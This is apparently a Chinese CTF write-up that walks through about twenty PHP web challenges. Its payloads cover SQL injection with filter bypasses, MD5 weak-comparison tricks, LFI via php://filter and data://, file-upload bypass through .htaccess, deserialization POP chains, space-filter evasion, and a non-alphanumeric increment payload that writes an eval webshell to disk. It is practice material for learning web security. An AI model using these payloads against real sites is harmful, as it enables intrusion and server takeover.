😋大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。
本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。
⭐️此后如竟没有炬火,我便是唯一的光。⭐️
目录
gift_F12
jicao
easy_md5
caidao
include
easyrce
easy_sql
babyrce
Do_you_know_http
ez_unserialize
easyupload1.0
easyupload2.0
easyupload3.0
no_wakeup
PseudoProtocols
error
hardrce
pop
sql
finalrce
hardrce_3
很久不学习CTF,很多知识点有点淡忘;还有最后一个phar反序列化,不太会做。
gift_F12
先听听歌吧ovo 查看源代码:
jicao
<?php highlight_file('index.php'); include("flag.php"); $id=$_POST['id']; $json=json_decode($_GET['json'],true); if ($id=="wllmNB"&&$json['x']=="wllm") {echo $flag;} ?>
代码中需要通过POST方式传递参数id,并且通过GET方式传递json参数,然而这里的json_decode( )方法,其功能为对 JSON 格式的字符串进行解码,用法为:
json_decode ( string $json [, bool $assoc = false [, int $depth = 512 [, int $options = 0 ]]] )
参数说明:
$json:json格式的字符串
$assoc:
值为 true:表示返回数组形式的数据
值为 false:表示返回对象形式的数据
默认为false
$depth:指定递归深度
$option:JSON解码的掩码选项。现在有两个支持的选项。
第一个是 JSON_BIGINT_AS_STRING,用于将大整数转为字符串,而非默认的float类型。
第二个是JSON_OBJECT_AS_ARRAY, 与将assoc设置为 TRUE 有相同的效果。
因此传递通过POST传递参数id=wllmNB;通过GET方式传递json={"x":"wllm"}
easy_md5
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
考察md5弱类型碰撞:
弱类型比较的时候,会把0exxxx当作科学计数法,不管后面的值为任何东西,0的任何次幂都为0
一些字符串md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
数组绕过
md5()函数计算的是一个字符串的哈希值,对于数组则返回false
a[]=1&b[]=2
caidao
直接连蚁剑,翻目录,找flag;
include
传参数file之后,代码审计:
题目提示我们LFI,尝试使用php://filter伪协议读取文件的内容:
尝试使用base64解码,得到答案;
easyrce
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url'])){
eval($_GET['url']);
}
?>
rce,直接命令执行即可,直接传url=system("cat / flllllaaaaaaggggggg");
easy_sql
随便传了一个参数a,但是没反应,看看源代码,发现了在源代码中,存在着提示“参数是wllm”
题目是SQL注入,先判断注入类型。
?wllm=-1' union select 1,database(),3--+
之后就是正常的SQL注入了;
?wllm=-1' union select 1,(select flag from test_tb),3--+
babyrce
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) {
include "../next.php";
}else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
提示rasalghul.php,访问一下:
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
正则过滤空格,命令执行,用${IFS}来绕过 (还可以通过%3c %09绕过)
ls${IFS}/
Do_you_know_http
通过Brup来改数据包信息:
继续改X-Forwarded-For
ez_unserialize
看看源代码先:
提示了,看看robots.txt:
访问这个php文件,出现反序列化的代码审计:
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
<?php
class wllm{
public $admin="admin";
public $passwd="ctf";
}
$p = new wllm();
var_dump(serialize($p));
?>
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
easyupload1.0
文件上传:
尝试上传php文件,但是发现失败了,接着改后缀名为jpg,发现还是不行,发现MIME信息还是php的相关信息,尝试改为jpg的MIME头;依然保留php后缀名,发现上传成功:
之后连马,或者命令执行都可!
哎?发现不是正确答案,看看phpinfo(),才发现了正确答案;
easyupload2.0
继续先用上个payload继续打;
哦 不让上传php了,其他的后缀可以先试试;发现php3是不可以的,但是pht还是可以正常上传的!
easyupload3.0
提示使用.htaccess文件上传漏洞:
构造.htaccess文件:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
以上代码,表示将jpg文件解析为php文件;
直接上传该文件,之后上传一张jpg后缀的文件,文件内容就是一句话木马;
上传图片:
用蚁剑直接连接jpg文件;
no_wakeup
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
绕过wakeup函数即可!
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
PseudoProtocols
题目提示使用php伪协议;
wllm=php://filter/convert.base64-encode/resource=hint.php
得到上述结果,使用base64解码;得到提示:
访问上述界面,得到:
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
大概就是GET方式传参a,a参数利用file_get_contents以只读的方式打开,打开后的内容与I want flag内容一致;
两种方法:
- data://text/plain
data伪协议,此协议需要在allow_url_fopen和allow_url_include全部为ON的状态下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入;
用法:data://text/plain;base64,base64编码字符
payload为:a=data://text/plain,I want flag
- php://input
php://input协议需要在allow_url_include为ON的状态下使用,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
使用方法:php://input,然后post需要执行的数据
我没打通,我不明白这是为什么....
error
输入id为1:
id为2:
id为1的时候,源代码中存在着提示,单引号闭合;结合题目提示报错注入:
爆表名:
最终爆flag(列名没写,都一样):
hardrce
首先是判断这个题目对应的PHP版本,发现是php7版本:
附上P神的博客:
一些不包含数字和字母的webshell | 离别歌
无字母数字webshell之提高篇 | 离别歌
详见无数字字母webshell总结;
pop
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
该题目中涉及到的魔术方法有两个toString和destruct,构造pop链的关键是紧盯魔术方法,找到pop链的头部和尾部,可以看到GET方式传参w00m,也就是pop链的头部,然后就是尾部,尾部就是能够达到恶意攻击的地方,在上述的题目中,清晰可见:w44m类中存在着一个方法GETflag方法,便可输出最终的flag。因此这也是我们的pop链的尾部;
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
w44m类中两个变量的属性并不是共有属性,而是私有属性和保护属性,无法在创建对象的时候,进行赋值;因此我们就直接在类中进行赋值;
接下来思考,如何去调用w44m类中的Getflag方法呢?我们会发现在w33m类中存在tostring方法,可以调用某一个类中的某一个方法。因此我们可以w33m类中的两个变量w00m赋值为w44m类名,w22m赋值为Getflag方法;那么接下来就是去思考怎么去调用w33m类呢?destruct会在对象被销毁时调用,因此只要给w22m类中的w00m变量一个类w33m就可以实现调用;
因此最终的pop链如下:
<?php
class w44m{
private $admin = 'w00m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m = new w44m();
$a->w00m->w22m = "Getflag";
echo urlencode(serialize($a));
?>
sql
随便输入了id=1,但是还是上述界面,看一下源代码:发现参数为wllm;
注入过程中发现“--+”以及空格被绕过,注释的话使用#编码绕过即可,空格的话用/**/来绕过。
接下来就是爆数据库名,表名、列明以及最终的数据;
爆出数据库名之后,在查询表名的时候,发现=也被过滤了,可以用like来代替;
在获取最终的数据的时候,发现被截断了:
但是使用substr()函数的时候,发现该函数还被过滤了。还可以用mid函数:
最终可以得到flag
finalrce
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
该题目利用了写文件的方法;但是题目中过滤了“>”符号,涉及到知识盲区了,还可以用tee命令:
tee命令用于将标准输入复制到每个指定文件,并显示到标准输出。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
payload:url=l``s / | tee a.txt
发现两个flag可疑的地方;看到题目中过滤la,尝试访问/flllllaaaaaaggggggg,“*”号被过滤,还可以用“?”
?url=ca``t /flllll????????????? | tee a.txt
成功访问到flag;
hardrce_3
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
不能用异或和取反了,还可以用自增:
<?php
$_=''.[];
$__=$_[$___];
$_=$__;
$___=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$___.=$_;
$_=$__;
$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___.=$_;
$_++;$_++;
$___.=$_;
$____='_';
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;
$_=$__;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$____.=$_;$_++;$____.=$_;
$_=$$____;
$___($_[_]);
但是不能执行system();发现phpinfo中的disabled_function过滤了很多函数:
命令执行函数不能用了;没有过滤file_put_contents(),写马再连;
_=file_put_contents('1.php','<?php eval($_POST[x]);?>');